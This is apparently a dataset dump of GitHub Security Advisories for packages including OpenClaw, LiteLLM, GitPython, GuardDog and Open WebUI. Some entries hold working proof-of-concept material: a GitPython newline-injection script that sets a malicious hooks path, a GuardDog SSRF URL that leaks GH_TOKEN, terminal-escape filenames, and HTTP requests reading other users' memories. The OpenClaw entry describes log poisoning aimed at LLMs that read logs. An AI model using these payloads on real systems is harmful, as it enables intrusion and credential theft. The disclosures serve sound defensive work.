deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-g27f-9qjv-22pm
Package: openclaw (NPM)
Severity: LOW (CVSS 3.1)
CWE: CWE-117: Improper Output Neutralization for Logs
Vulnerable versions: < 2026.2.13
Patched in: 2026.2.13

Summary: OpenClaw log poisoning (indirect prompt injection) via WebSocket headers

Details:
### Summary
In `openclaw` versions prior to `2026.2.13`, OpenClaw logged certain WebSocket request headers (including `Origin` and `User-Agent`) without neutralization or length limits on the "closed before connect" path.

If an unauthenticated client can reach the gateway and send crafted header values, those values may be written into core logs. Under workflows where logs are later read or interpreted by an LLM (for example via AI-assisted debugging), this can increase the risk of indirect prompt injection (log poisoning).

### Affected Packages / Versions
- Package: `openclaw` (npm)
- Affected: `<= 2026.2.12`
- Fixed: `>= 2026.2.13`

### Details
- Component: `src/gateway/server/ws-connection.ts`
- Trigger: WebSocket connection closes before completing the connect/handshake; header values are included in the log message and structured context.

### Impact
This issue is primarily an indirect prompt injection risk and depends on downstream log consumption behavior. If you do not feed logs into an LLM or other automation, impact is limited.

### Fix
Header values written to gateway logs are now sanitized and truncated (including removal of control/format characters and length limiting).
- Fix commits: `d637a263505448bf4505b85535babbfaacedbaac`, `e84318e4bcdc948d92e57fda1eb763a65e1774f0` (PR #15592)

### Workarounds
- Upgrade to `openclaw@2026.2.13` or later.
- Treat logs as untrusted input when using AI-assisted debugging (sanitize/escape, and do not auto-execute instructions derived from logs).
- Restrict gateway network exposure; apply reverse-proxy limits on header size where applicable.

Thanks @pkerkhofs for reporting.
GitHub Security Advisory: GHSA-wxxx-gvqv-xp7p
Package: litellm (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-420: Unprotected Alternate Channel, CWE-913: Improper Control of Dynamically-Managed Code Resources
Vulnerable versions: >= 1.81.8, < 1.83.10
Patched in: 1.83.10

Summary: LiteLLM has a sandbox escape in custom-code guardrail

Details:
### Impact

The `POST /guardrails/test_custom_code` endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process — which runs as root in the default Docker image.

**Reaching the endpoint requires a proxy-admin credential** in default configurations.

### Patches

Fixed in **`1.83.11`**. The hand-rolled sandbox has been replaced with `RestrictedPython`. Upgrade to `1.83.11` or later.

### Workarounds

If upgrading is not immediately possible, block `POST /guardrails/test_custom_code` at your reverse proxy or API gateway.

### References

- Patched release: [`v1.83.10-stable`](https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable)
GitHub Security Advisory: GHSA-3926-2jvf-fg29
Package: litellm (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-420: Unprotected Alternate Channel
Vulnerable versions: >= 1.81.8, < 1.83.10
Patched in: 1.83.10

Summary: Duplicate Advisory: LiteLLM has a sandbox escape in custom-code guardrail

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-wxxx-gvqv-xp7p. This link is maintained to preserve external references.

### Original Description
LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.
GitHub Security Advisory: GHSA-8p4x-wr7x-3788
Package: python-liquid (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2.2.0
Patched in: 2.2.0

Summary: python-liquid: Absolute paths escape filesystem loader search path

Details:
### Impact
The built-in `FileSystemLoader` and `CachingFileSystemLoader` do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the `{% include %}` and `{% render %}` tags. Targeted files would need to contain valid Liquid markup and be readable by the application process.

### Patches
The issue is fixed in version 2.2.0 with the inclusion of a `template_path.is_absolute()` condition in `liquid/builtin/loaders/file_system_loader.py`.

```python
        if os.path.pardir in template_path.parts or template_path.is_absolute():
            raise TemplateNotFoundError(template_name)
```

### Workarounds

Create a custom template loader by inheriting from `FileSystemLoader` and overriding `resolve_path()`. Use an instance of the custom loader as the `loader` argument when instantiating your Liquid environment. 

```python
import os
from pathlib import Path

from liquid import Environment
from liquid import FileSystemLoader
from liquid.exceptions import TemplateNotFoundError


class MyFileSystemLoader(FileSystemLoader):
    def resolve_path(self, template_name: str) -> Path:
        template_path = Path(template_name)

        if self.ext and not template_path.suffix:
            template_path = template_path.with_suffix(self.ext)

        if os.path.pardir in template_path.parts or template_path.is_absolute():
            raise TemplateNotFoundError(template_name)

        for path in self.search_path:
            source_path = path.joinpath(template_path)
            if not source_path.exists():
                continue
            return source_path

        raise TemplateNotFoundError(template_name)


env = Environment(loader=MyFileSystemLoader("path/to/templates/"))
```
GitHub Security Advisory: GHSA-mf9v-mfxr-j63j
Package: urllib3 (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: >= 2.6.0, < 2.7.0
Patched in: 2.7.0

Summary: urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API

Details:
### Impact

urllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.

However, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:
1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.
2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).

These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.


### Affected usages

Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:

1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.
2. `HTTPResponse.drain_conn()` is called after response decompression has already started.


### Remediation

Upgrade to at least urllib3 version 2.7.0 in which the library:
1. Is more efficient for reads with Brotli.
2. Always skips decompression for `HTTPResponse.drain_conn()`.

If upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:
1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.
2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.


### Credits

The Brotli-specific issue was reported by @kimkou2024.
`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.
GitHub Security Advisory: GHSA-qccp-gfcp-xxvc
Package: urllib3 (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.23, < 2.7.0
Patched in: 2.7.0

Summary: urllib3: Sensitive headers forwarded across origins in proxied low-level redirects

Details:
### Impact

When following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.

However, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.

### Affected usage

Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.

### Remediation

Upgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.

If upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.
GitHub Security Advisory: GHSA-587r-mc96-6f2p
Package: guarddog (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 1.0.0, <= 2.9.0
Patched in: unpatched

Summary: GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

Details:
# Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog.

# Description
`ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling:

```python
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
```

Because this logic does not parse or validate the hostname, a crafted URL such as:

```text
http://github@127.0.0.1:18081/owner/repo
```

is transformed into:

```text
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt
```

Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

# Reproduction summary
1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header.
2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.
3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`.
4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.

# Key code paths
- `guarddog/scanners/scanner.py:361-365`

# Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in `GH_TOKEN`
- SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint

# Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

# Suggested fix
Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
GitHub Security Advisory: GHSA-m5p4-gvpx-4mvr
Package: guarddog (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: >= 2.6.0, <= 2.9.0
Patched in: unpatched

Summary: GuardDog: Unsanitized human-readable scan output allows terminal escape injection from malicious package content

Details:
# Summary
GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

# Description
The finding formatter stores file paths and snippets from scanned content:

```python
location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}
```

The human-readable reporter later prints these values directly:

```python
"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])
```

No escaping is applied for control characters such as `\x1b`. A malicious package can therefore ship a filename like:

```text
evil\x1b[2J.py
```

or matched source lines containing terminal escapes, which survive into the final CLI output.

# Reproduction summary
1. Create a file whose name contains `\x1b[2J`.
2. Feed a semgrep-style result referencing that file into `Analyzer._format_semgrep_response()`.
3. Render the result with `HumanReadableReporter.print_scan_results()`.
4. The output string contains the raw escape bytes, which a terminal may interpret.

# Key code paths
- `guarddog/analyzer/analyzer.py:377-392`
- `guarddog/reporters/human_readable.py:36-42`
- `guarddog/reporters/human_readable.py:84-91`

# Practical impact
This can be used to:
- clear or rewrite analyst terminal output
- inject misleading or spoofed log content in CI
- emit clickable OSC 8 hyperlinks or title changes in compatible terminals

# Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

# Suggested fix
Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.
GitHub Security Advisory: GHSA-hmjq-crxp-7rjw
Package: open-webui (PIP)
Severity: HIGH (CVSS 8.3)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 0.6.19
Patched in: 0.6.19

Summary: Open WebUI has inconsistent authorization controls within memories API

Details:
### Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.


### Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.

The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again.

### PoC 1

**Example of a user with no memories able to query an existing memory from another user**

```
GET /api/v1/memories/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer [CREDENTIAL_REDACTED]
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 0

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:19:58 GMT
server: uvicorn
content-length: 2
content-type: application/json
x-process-time: 0

[]
```

```
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer [CREDENTIAL_REDACTED]
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:22:01 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
access-control-allow-origin: *
access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":[PII_REDACTED],"updated_at":[PII_REDACTED]}]],"distances":[[0.[PII_REDACTED]]]}
```

### PoC 2

**Example showing excess output about a memory a user has no access to modify**

```
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer [CREDENTIAL_REDACTED]
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 18:53:37 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f
GitHub Security Advisory: GHSA-wc6p-4gwj-jcr8
Package: keylime (PIP)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-1241: Use of Predictable Algorithm in Random Number Generator
Vulnerable versions: >= 7.14.0, <= 7.14.1
Patched in: 7.14.2

Summary: Duplicate Advisory: Keylime has a hardcoded attestation challenge nonce that allows replay attacks

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-q8w6-w55c-ccv5. This link is maintained to preserve external references.

### Original Description
A flaw was found in Keylime. An attacker with root access on an enrolled monitored machine, where the Keylime agent runs, can exploit a vulnerability in the Keylime verifier. The verifier uses a hardcoded challenge nonce for Trusted Platform Module (TPM) quote attestation instead of a cryptographically random value. This allows the attacker to stockpile valid TPM quotes and replay them to evade detection after compromising the system. This issue affects only the push model deployment.
GitHub Security Advisory: GHSA-58cw-g322-p94v
Package: mistune (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 3.2.0
Patched in: unpatched

Summary: Mistune has XSS via unescaped figclass/figwidth in Figure directive

Details:
In `src/mistune/directives/image.py`, the `render_figure()` function concatenates `figclass` and `figwidth` options directly into HTML attributes without escaping (lines 152-168).

This allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used, because these values bypass the inline renderer.

Other attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.
GitHub Security Advisory: GHSA-mv93-w799-cj2w
Package: GitPython (PIP)
Severity: HIGH (CVSS 7.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: <= 3.1.49
Patched in: 3.1.50

Summary: GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

Details:
Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

```python
  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self
```

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

```python
  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed
```

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
GitHub Security Advisory: GHSA-r374-rxx8-8654
Package: paramiko (PIP)
Severity: LOW (CVSS 3.4)
CWE: CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Vulnerable versions: <= 4.0.0
Patched in: unpatched

Summary: Paramiko rsakey.py allows the SHA-1 algorithm

Details:
In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
GitHub Security Advisory: GHSA-54w4-233h-x86g
Package: ironic-python-agent (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: < 26.1.6
Patched in: 26.1.6

Summary: OpenStack Ironic has an Incorrect Resource Transfer Between Spheres

Details:
An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1.
GitHub Security Advisory: GHSA-54w4-233h-x86g
Package: ironic-python-agent (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 27.0.0, < 29.0.5
Patched in: 29.0.5

Summary: OpenStack Ironic has an Incorrect Resource Transfer Between Spheres

Details:
An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1.